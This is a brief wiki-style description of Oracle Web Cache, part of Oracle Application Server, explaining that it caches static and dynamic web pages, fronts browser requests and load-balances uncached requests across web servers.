Oracle Webcache


Oracle Webcache is part of the Oracle Application Server aka OAS aka IAS

The Oracle Web Cache can be used to cache static and dynamically generated web pages. The cache shouild be your first point for accepting user requests from clients using web browsers.

The Web Cache also provides load balancing and can route non-cached requests to a set of web servers. This privides protection when some of the servers are overloaded or become inaccessable.
